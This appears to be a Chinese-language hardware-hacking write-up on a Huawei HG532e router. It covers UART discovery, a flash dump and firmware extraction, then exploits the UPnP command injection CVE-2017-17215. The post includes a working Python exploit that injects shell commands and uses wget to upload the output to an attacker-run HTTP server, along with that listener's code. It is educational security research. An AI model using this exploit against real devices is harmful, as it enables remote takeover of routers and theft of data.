CVE-2017-17215 从固件提取到漏洞利用
前言
HG532e的经典漏洞CVE-2017-17215网上已经有大量的复现文章的,但都是从网上直接下载到固件文件,我觉得还是有必要自己手动提取一遍的,然后在真机上打一遍的,通过这个过程也学习到了很多。
固件提取
首先从某神秘的交易平台拿下一台陆版的HG532e,可以看到非常具有年代感的盒子

登入后台发现后台和网上固件仿真出来的不一样

网上流传的应该是海外版的固件,不过问题不大

然后就是愉快地拆机,一眼看到板子上有5排的引脚,基本上可以确定这就是uart口
先掏出万用表调到蜂鸣档,然年用二极管的负极一个个测试,发现第4个引脚出现蜂鸣,测出GND
(因为在实验室里没有焊接环境只能用蓝丁胶把杜邦线粘起来了呜呜)

然后再用GND和另外四个口相连,发现与第三个短接时短路,确认为VCC
然后剩下三个口依次用TX/RX的组合试一遍,最终测试出所有的uart串口

再试出波特率为115200Hz后就可以连接串口了,这里我使用的软件是MobaXterm

路由器服务启动后,就没办法再进行交互了,只能断在bootloader里

在bootloader里发现内存dump不下来,这里的指令基本上没有可用的
go加了启动参数也没办法在加载linux内核后进入sh,应该是写死了
1
| go console=ttyS0 rootfstype=squashfs panic=1 es=1 init=/bin/sh
|
既然如此那就直接读FLASH吧,管你这那的
FLASH为SOP8的W25Q32,那还说啥,直接CH341A编程器启动

成功dump出固件

漏洞利用
binwalk提一波,成功提取出根目录

后面的漏洞点就和网上的文章一样了,在upnp协议的处理程序中存在命令注入的漏洞

直接利用poc测试,sleep有明显延迟,ping主机能抓包到icmp的包,命令成功执行
当然这只是简单的命令注入漏洞,实际还是需要利用qemu仿真调试去测试漏洞的

我们再尝试执行ls等命令,打开串口调试就可以发现命令的输出结果也显示出来了

这里我们利用它自带的老版本的wget,在本地搭建一个http服务器,将输出结果导入/tmp/output.txt后上传,成功实现外带回显的RCE
(要注意只能在/tmp目录下写文件,否则会提示can’t open ‘output.txt’: Read-only file system)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import requests
Authorization = "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669" headers = {"Authorization": Authorization}
print("-----CVE-2017-17215 HUAWEI HG532 RCE-----\n")
data = f''' <?xml version="1.0" ?> <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body> <u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewDownloadURL>;ls / > output.txt;</NewDownloadURL> <NewStatusURL>;wget -s -l /output.txt -r /upload 192.168.1.2 -P 8081;</NewStatusURL> </u:Upgrade> </s:Body> </s:Envelope> '''
r = requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1', headers = headers, data = data) print("\nstatus_code: " + str(r.status_code)) print("\n" + r.text)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from http.server import HTTPServer, BaseHTTPRequestHandler import sys
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() self.wfile.write(b'Hello from twogoat!')
def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) print(f"Received data: {post_data.decode('utf-8', errors='ignore')}") with open('received_data.txt', 'wb') as f: f.write(post_data) self.send_response(200) self.end_headers() self.wfile.write(b'Data received!')
httpd = HTTPServer(('0.0.0.0', 8081), SimpleHTTPRequestHandler) print("Server running on port 8081...") httpd.serve_forever()
|
也是利用这个点出在了招新赛上,但可惜做出来的都是通过时间盲注的
